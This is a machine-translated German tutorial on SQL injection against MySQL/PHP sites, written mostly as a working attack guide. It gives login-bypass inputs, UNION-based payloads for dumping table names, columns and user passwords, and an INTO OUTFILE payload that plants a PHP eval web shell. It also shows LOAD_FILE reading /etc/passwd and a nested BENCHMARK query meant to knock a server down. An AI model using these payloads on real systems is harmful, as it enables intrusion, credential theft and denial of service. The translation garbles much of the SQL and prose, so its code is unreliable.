This page has been robot translated, sorry for typos if any. Original content here.

SQL Injection [vollständiger FAQ]



  • 0.INTRO
  • 1. Wie SQL - Injection FINDEN
  • 2. WAS UND WIE SIE VON DIESEM WISSEN GET
  • 3. WAS IST, WENN KEINE Ausgabefelder ZU TUN.
  • 4. WAS IST, WENN ETWAS Filter ZU TUN.
  • 5. Nützliche Funktionen MYSQL
  • 6. Wie gegen SQL - Injection schützen
  • 7. ADDITIONS


  • 0.INTRO


    Laziv im Internet auf der Suche nach zumindest einige Informationen über SQL - Injection Sie müssen oft über Artikel kommen oder sehr kurz oder nicht klar ist , entweder bedeckt ein Thema oder einen anderen etwas , was natürlich nicht zusagt. Wenn dann habe ich gesammelt, wo die Artikel 10 bis 20 dieses Thema Einblick in viele der Feinheiten dieser Verwundbarkeit zu gewinnen. Und an jene Tage erinnern beschlossen, eine vollständige FAQ zu diesem Thema zu schreiben, zu sagen, damit andere nicht leiden. Und noch eine Bitte. Diejenigen, die finden, dass ich etwas verpasst haben, irgendwo einen Fehler gemacht, und so wenden Sie sich bitte unten austragen, ist es schwierig, alle gleich, alle im Auge zu behalten :) . Durch die Art und Weise dies mein erster Artikel, bitte nicht werfen Tomaten, und getreten.

    Nicht mitreißen vom ersten Tag des Einbruchs Sie wahrscheinlich wissen , was für eine SQL - Injection wenn nicht , dann ist ich die Artikel für Sie. SQL - Injection ist die Injektion von einer weiteren Art von Angriff , bei dem der Angreifer die ursprüngliche Anforderung an die Datenbank modifiziert , so dass die Informationen , die er aus der Datenbank benötigt abgeleitet wurde , wenn die Abfrage ausgeführt wird .

    Für die Aufnahme dieses Artikels ist erforderlich:
    a) Das Vorhandensein von Gehirn
    b) Direkte Hände
    in) SQL Sprachkenntnisse

    Im Grunde genommen war dieser Artikel für MYSQL + PHP geschrieben, aber es gibt ein paar Beispiele mit MSSQL.

    Im Allgemeinen denke ich , der beste Weg , die korrekte Verwendung von SQL - Injection zu lernen , ist diesen Artikel nicht lesen, sondern eine lebendige Praxis, zum Beispiel einer verwundbare Skript zu schreiben, oder meine am Ende gegeben verwenden.

    Durch die Art und Weise rate ich Ihnen , alles zu lesen , weil an jedem Punkt gibt es etwas Wichtiges für das nächste Element ist, usw.

    1. Wie SQL-Injection FINDEN

    Es ist ziemlich einfach. Es muss in allen Bereichen, Variablen, Cookies, doppelte und einfache Anführungszeichen eingefügt werden.

    1.1 Zweite erster

    Lassen Sie sich mit diesem Skript startet hier

    1. Nehmen wir an, dass die ursprüngliche Anfrage an die Datenbank wie folgt aussieht:
    SELECT * FROM news WHERE id=' 1 '; Jetzt erweitern wir Zitat in eine Variable „id“, das ist - wenn die Variable nicht gefiltert wird, und enthielt Fehlermeldungen, die in etwa so kommen:

    mysql_query (): Sie haben einen Fehler in der SQL - Syntax; Sie in die Bedienungsanleitung zu Ihrem MySQL entspricht Server - Version für die richtige Syntax in der Nähe zu verwenden ‚ 1‘ '

    Da die Abfrage an die Datenbank wird anwesend zusätzliches Angebot sein:
    SELECT * FROM news WHERE id=' 1' '; Wenn die Fehlerberichterstattung wird in diesem Fall ausgeschaltet, können Sie das Vorhandensein von Schwachstellen wie die bestimmen (Auch verhindere es nicht, wäre es nicht mit Ziffer 1.4 verwechselt wird, wie es im selben Absatz beschrieben ist.): Das ist eine Anforderung an die Datenbank wird wie folgt sein:
    SELECT * FROM news WHERE id=' 1'; -- '; (Für diejenigen, die im Tank sind „-“ ein Zeichen für den Beginn aller Kommentare, nachdem sie herausgefiltert wurde, mag ich Ihre Aufmerksamkeit auf die Tatsache lenken, dass, nachdem es immer ein Raum sein sollte (wie in der Dokumentation für die MYSQL geschrieben) und die Art und Weise vor ihm auch). So für MYSQL Abfrage bleibt gleich und scheinen die gleichen wie bei http :? //xxx/news.php id = 1
    Außer dem, was mit dieser Anfälligkeit zu tun ist, um die gesamte Absatz 2 gewidmet.

    1.2 Der zweite Fall

    In SQL LIKE - Operator gibt. Es wird verwendet, Zeichenfolgen zu vergleichen. Lassen Sie uns das Skript Berechtigung sagen, wenn die Login-Eingabe und Passwort aufgefordert Datenbank wie folgt aus:
    SELECT * FROM users WHERE LIKE 'Admin' anmelden und übergeben LIKE '123';

    Auch wenn das Skript filtert das Zitat, das er immer noch anfällig für Injektion bleibt. Wir brauchen statt eines Passworts einfach „%“ eingeben (für den Operator LIKE „%“ Zeichen übereinstimmt beliebige Zeichenfolge) und dann wird die Anfrage
    SELECT * FROM users WHERE LIKE 'Admin' anmelden AND LIKE '%' übergeben;

    und wir bekommen in die Mansion mit Login ‚Admin‘. In diesem Fall haben wir gefunden , nicht nur eine Injektion SQL , sondern auch erfolgreich verwendet es.

    1.3 Der dritte Fall

    Was passiert, wenn die gleiche Login-Skript Überprüfung ist nicht für die Quote. IMHO mindestens dummes dies eine Injektion, eine Art von Information zur Ausgabe zu verwenden. Lassen Sie die Abfrage an die Datenbank des Typs sein wird:
    SELECT * FROM users WHERE login = 'Admin' AND = '123' übergeben;

    Leider ist Ihr Passwort ‚123‘ nicht passen :) Aber lassen Sie uns sagen , dass wir eine Injektion in den Parameter ‚login‘ gefunden und das wäre registrieren unter dem Namen ‚Admin‘ müssen wir stattdessen so etwas wie dieses Admin ‚schreiben; - das ist ein Teil der Passwortprüfung verworfen wird und wir durch den Spitznamen ‚Admin‘ gehen.
    SELECT * FROM users WHERE login = ' Admin'; - 'AND pass =' 123 ‚;

    Was nun, wenn eine Sicherheitslücke in dem ‚Pass‘ Feld zu tun. Wir treten in diesem Bereich die nächsten 123 ‚OR Login =‘ Admin ‚; -. Auftrag wird sein:
    SELECT * FROM users WHERE login = ' Admin' AND pass = ' 123' OR Login = 'Admin'; - ‚;

    Dass die Datenbank indeintichno solche Anforderung vollständig sein:
    SELECT * FROM users WHERE (login = 'Admin' AND pass = '123') OR (login = 'Admin');

    Nach diesen Schritten werden wir die vollen Besitzer von Akka mit Login ‚Admin‘ werden.

    1.4 Der vierte Fall

    Lassen Sie uns an das Skript von Nachrichten zurück. Der SQL - Sprache, müssen wir uns daran erinnern , dass die numerischen Parameter nicht in Anführungszeichen gesetzt werden , das heißt, wenn eine solche Behandlung an das Skript http :? //xxx/news.php id = 1 Abfrage an die Datenbank wie folgt aussieht:
    SELECT * FROM Nachrichten WHERE id = 1;

    So finden Sie eine Injektion kann auch als Ersatz Parameter ‚id‘ angegeben werden und dann springen die gleiche Fehlermeldung:

    mysql_query (): Sie haben einen Fehler in der SQL - Syntax; Sie in die Bedienungsanleitung zu Ihrem MySQL entspricht Server - Version für die richtige Syntax in der Nähe zu verwenden ‚ 1‘ '

    Wenn diese Meldung nicht vyprigivaet nicht können wir verstehen , dass das Zitat gefiltert und dann müssen http eingeben: //xxx/news.php id = 1 bla-bla-bla?
    DB versteht nicht, es für bla bla bla sho, und zeigt eine Meldung über die Art des Fehlers:

    mysql_query (): Sie haben einen Fehler in der SQL - Syntax; Sie in die Bedienungsanleitung zu Ihrem MySQL entspricht Server - Version für die richtige Syntax in der Nähe zu verwenden ‚ 1 bla-bla-bla‘

    Wenn Fehlermeldungen ausgeschaltet werden dann wie diese unter http: //xxx/news.php id = 1 ;? -
    Sollte erscheinen genau wie http :? //xxx/news.php id = 1

    Jetzt können Sie mit Schritt 2 fortfahren.

    2. WAS UND WIE SIE VON DIESEM WISSEN GET

    Als nächstes wird nur die Art von Schwachstellen im Sinne von Absatz betrachtet werden können 1.1 und der Rest verändern unter sich ist nicht schwer :)

    2.1 Befehl UNION

    Zunächst mit den nützlichsten ist das Team UNION (wer nicht weiß , zu Google gehen) ...
    Wir ändern die Behandlung an das Skript http: //xxx/news.php id = 1 ‚UNION SELECT 1 - ?. Die Abfrage der Datenbank, die wir wie folgt erhalten:
    SELECT * FROM Nachrichten WHERE id = '1' UNION SELECT 1 - ‚;


    2.1.1.1 Die Auswahl der Anzahl der Felder (Methode 1)

    Vergessen Sie nicht über die Tatsache, dass die Anzahl der Spalten der UNION und nach müssen bestimmte Fehler einhalten wird kommen wie folgt aus (es sei denn, der Tisch keine Nachrichten Spalte ist):

    mysql_query (): Die verwendeten SELECT - Anweisungen haben eine unterschiedliche Anzahl von Spalten

    In diesem Fall müssen wir kolichistvo Spalten (unabhängig von ihrer Zahl vor und nach der UNION sootvetsvovalo) abholen. Wir tun es auf diese Weise:

    http: //xxx/news.php id = 1 ‚UNION SELECT 1, 2 -
    Fehler. «Die verwendeten SELECT - Anweisungen haben eine unterschiedliche Anzahl von Spalten»

    http: //xxx/news.php id = 1 ‚UNION SELECT 1,2,3 -?
    Auch hier der Fehler.
    ...

    http: //xxx/news.php id = 1 ‚UNION SELECT 1,2,3,4,5,6 -?
    Oh! Zeigen Sie die korrekte sowie http :? //xxx/news.php id = 1
    Mittel, um die Anzahl der Felder aufzuheben, das heißt, ihre Stücke 6 ...


    2.1.1.2 Die Auswahl der Anzahl der Felder (Methode 2)

    Und diese Methode basiert auf der Auswahl der Anzahl der Felder , die durch Verwendung von GROUP BY. Das heißt, diese Art der Anfrage:

    http: //xxx/news.php ID = 1 ‚GROUP BY 2 -?

    Es wird richtig , wenn die Anzahl der Felder angezeigt kleiner als oder gleich 2 ist .
    Machen diese Art der Anfrage:

    http: //xxx/news.php ID = 1 ‚GROUP BY 10 -?

    Oops ... Es gab einen Fehler Typ.

    mysql_query (): Unknown Spalte '10' in 'Gruppe Anweisung'

    So ist die Spalte weniger als 10 Teile 10 von 2. Und wir tun Anfrage

    http: //xxx/news.php ID = 1 ‚GROUP BY 5 -?


    Opa kein Fehler bedeutet , schaltet sich die Anzahl der Spalten größer als oder gleich 5 , aber weniger als 10. nun den Durchschnitt zwischen 5 und 10 nehmen, es aus wie 7 eine Anfrage macht:

    http: //xxx/news.php ID = 1 ‚GROUP BY 7 -?

    Oh Fehler wieder ... :(

    mysql_query (): Unknown column '7' in 'Gruppe Anweisung'

    So ist die Zahl größer als oder gleich 5 , aber weniger als 7. Nun, dann eine Anfrage

    http: //xxx/news.php ID = 1 ‚GROUP BY 6 -?

    Keine Fehler ... So ist die Zahl größer als oder gleich 6 ist , jedoch weniger als 7. Daraus folgt , dass die erforderliche Anzahl von Spalten 6.

    2.1.1.3 Die Auswahl der Anzahl der Felder (Methode 3)

    Das gleiche Prinzip wie in Absatz 2.1.1.2 nur Funktion ORDER BY verwendet. Und etwas anderer Fehlertext, wenn die Felder nicht mehr.

    mysql_query (): Unknown Spalte '10' in 'um Klausel'

    2.1.2 Bestimmung der Ausgabespalten

    Ich glaube , dass viele von uns genau die Seite wie http :? //xxx/news.php id = 1 nicht erfüllt ist . Also brauchen wir keine Ausgabe so auf der ersten Anfrage zu tun (bis UNION). Am einfachsten ist es, die „id“ von ‚1‘ auf ‚-1‘ (oder ein ‚9999999‘) zu ändern
    http :? //xxx/news.php id = -1 ' UNION SELECT 1,2,3,4,5,6 - Jetzt haben wir etwas , wo die Seite sollte jeder dieser Zahlen angezeigt werden. (Zum Beispiel, weil es bedingte Skript Nachrichten in dem „Namen der Nachricht“ wird 3 angezeigt werden sagen: „News“ -4 gut, etc.). Nun kommen wir zu dem, was jemals Informationen benötigen wir diese Zahlen in obrschenii, um das Skript auf die benötigte Funktion zu ersetzen. Wenn die Zahlen nicht überall die terabschnitte Ziffer 2.1 angezeigt werden kann übersprungen werden.

    2.1.3 SIXSS (SQL Injection Cros Site Scripting )

    Das exakt gleiche XSS nur durch die Datenbankabfrage. Beispiel:
    http :? //xxx/news.php id = -1 ' UNION SELECT 1,2,3,' <script> alert ( 'SIXSS') </ script>‘, 5,6 - Nun, ich denke nicht schwer zu verstehen , dass 4 Seite wird durch das <script> alert ( 'SIXSS' ersetzt ) </ script> und damit genau die gleiche XSS erhalten.

    2.1.4 Spaltennamen / Tabelle

    Wenn Sie den Namen einer Spalte in der Tabelle kennen und die Datenbank kann diesen Schritt überspringen
    Wenn Sie nicht wissen ... Es gibt zwei Möglichkeiten.

    2.1.4.1 Die Namen der Spalten / Tabellen , wenn es Zugang zum INFORMATION_SCHEMA ist und wenn die Version von MYSQL> = 5

    INFORMATION_SCHEMA.TABLES Tabelle enthält Informationen über alle Tabellen in der Datenbank - Spalte der Tabelle TABLE_NAME-Namen.
    http :? //xxx/news.php id = -1 ' UNION SELECT 1,2,3, TABLE_NAME, 5,6 FROM INFORMATION_SCHEMA.TABLES - Dass es kann Probleme geben. Da es nur die erste Zeile der Datenbank Antwort angezeigt werden. Dann müssen wir LIMIT wie folgt verwenden:

    Der Abschluss der ersten Zeile:
    http: //xxx/news.php id = -1 ‚UNION SELECT 1,2,3, TABLE_NAME, 5,6 VON INFORMATION_SCHEMA.TABLES LIMIT 1,1 -?

    Der Abschluss der zweiten Zeile:
    ? Http: //xxx/news.php id = -1 ' UNION SELECT 1,2,3, TABLE_NAME, 5,6 VON INFORMATION_SCHEMA.TABLES LIMIT 2,1 - usw.

    Nun, wir fanden einen Tisch Benutzer. Sobald diese ... ahem ... jede Spalte nicht wissen ... Dann kommen wir auf die Hilfe der Tabelle INFORMATION_SCHEMA.COLUMNS COLUMN_NAME Spalte den Namen einer Spalte in der Tabelle TABLE_NAME enthält. Das ist, wie wir die Spaltennamen extrahieren

    http: //xxx/news.php id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer LIMIT 1,1 -?

    http: //xxx/news.php id = -1 'UNION SELECT 1,2,3, COLUMN_NAME, 5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME =' Benutzer LIMIT 2,1 -?
    usw.

    Und hier sind wir Feld Login, Passwort finden.

    2.1.4.2 Die Namen der Spalten / Tabellen , wenn Sie keinen Zugriff auf die INFORMATION_SCHEMA

    Diese Option zhopny :( .tut tritt gewöhnlichen brutofors eingeben ... Beispiel:

    http: //xxx/news.php id = -1 ‚UNION SELECT 1,2,3,4,5,6 FROM tbl_name -

    Sie müssen table_name aus , bis kein Fehler verschwinden wie:

    mysql_query (): Table 'table_name' existiert nicht

    Nun haben wir das Glück Benutzer fehlende Fehlermeldung eingeführt, und die Seite wird angezeigt , als ob http :? //xxx/news.php id = -1 ' UNION SELECT 1,2,3,4,5,6 - was bedeutet es ? Dies bedeutet , dass die Tabelle suschestvet Benutzer und sollte auf die Sortierspalten gehen.

    http: //xxx/news.php id = -1 ‚UNION SELECT 1,2,3, column_name, 5,6 von Benutzern -

    Sie müssen column_name aus , bis kein Fehler verschwinden wie:

    mysql_query (): Unbekannte Spalte 'Spaltenname ' 'in' field list '

    Wo verschwindet Fehlermeldung bedeutet, solche Spalte vorhanden ist.

    Und so haben wir gelernt , dass die Tabellenspalte Benutzer haben anmelden, Passwort.

    2.1.5 Informationen anzeigen

    Kontakt zu der Skript so http :? //xxx/news.php id = -1 ' UNION SELECT 1,2, Login, Passwort, 5,6 Nutzer 1,1 LIMIT - Zeigt uns Login und Passwort des ersten Benutzers aus der Tabelle Benutzer.

    2.2 Arbeiten mit Dateien

    2.2.1 Schreiben in eine Datei

    Es ist in so eine interessante MYSQL Funktion vom Typ SELECT ... INTO OUTFILE können Sie Informationen zu einer Datei aufzuzeichnen. Eine solche Konstruktion SELECT ... INTO DUMPFILE sie fast ähnlich sind , und Sie können jede verwenden.

    Beispiel: http: //xxx/news.php id = -1 ' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE' 1.txt ‚; -


    mehrere Einschränkungen arbeitet für sie.
    • Verbot der Überschreiben von Dateien
    • Erforderlich Typ FILE Privilegien
    • (!) Lassen Sie sich von diesem kyvychki bei der Angabe des Dateinamens gebunden

    Aber das würde uns die Bahn gehen machen verhindern können? Hier ist ein Beispiel wie folgt aus:

    http: //xxx/news.php id = -1 'UNION SELECT 1,2,3,' '5,6 INTO OUTFILE'? 1.php < ? php eval ($ _ GET [ 'e']) ??> ‚; -

    Es bleibt nur noch den vollständigen Pfad zu der Website root auf dem Server zu finden und es an den 1.php anhängen. Vriprintsipe kann einen weiteren Fehler zu dem Bericht finden, die sichtbaren Pfad auf dem Server sein wird, oder die Wurzel verlassen Server und seine lokalen inkluda abholen, aber das ist ein anderes Thema.

    2.2.2 Lesen von Dateien

    Betrachten LOAD_FILE Funktion

    Beispiel: http: //xxx/news.php id = -1 ' UNION SELECT 1,2, LOAD_FILE (' etc / passwd ‚), 4,5,6 ;?

    Für sie gibt es auch einige Einschränkungen.
    • Es muss den vollständigen Pfad zur Datei angeben.
    • Erforderlich Typ FILE Privilegien
    • Die Datei muss sich auf demselben Server befinden
    • Die Größe dieser Datei muss kleiner sein als die angegebenen in max_allowed_packet
    • Die Datei muss vom Benutzer zum Lesen geöffnet wird unter dem MYSQL gestartet

    Wenn die Funktion die Datei nicht lesen kann, wird NULL zurückgegeben.

    2.3 DOS - Angriff auf SQL Server

    In den meisten Fällen dosyat SQL Server aufgrund der Tatsache, dass nichts anderes nicht tun kann. Typ fehlgeschlagen Tabellen / Spalten, keine Rechte zu, dies zu lernen, keine Rechte an ihn, usw. Ich ehrlich gegen diese Methode, aber immer noch ...

    Auf den Punkt ...
    BENCHMARK - Funktion führt die gleiche Aktion mehrmals.
    SELECT REFERENZ (100000, md5 (current_time));

    Das heißt, hier ist diese Funktion 100.000 Mal tut md5 (CURRENT_TIME) , die mein Computer dauert etwa 0,7 Sekunden ... Es scheint , dass es so ... Und wenn Sie angebracht BENCHMARK versuchen?

    SELECT REFERENZ (100000, REFERENZ (100000, md5 (current_time)));

    Es dauert eine lange Zeit, um ehrlich zu sein ich nicht einmal warten, ... hatte einen Reset zu tun :) .
    Beispiel Dosa in unserem Fall:

    http: //xxx/news.php id = -1 ‚UNION SELECT 1, 2, Benchmark (100.000, Benchmark (100,000, md5 (current_time))), 4, 5, 6 ;? -

    Stoßen 100 mal F5 genug und "Server fällt in ungehemmt down"))).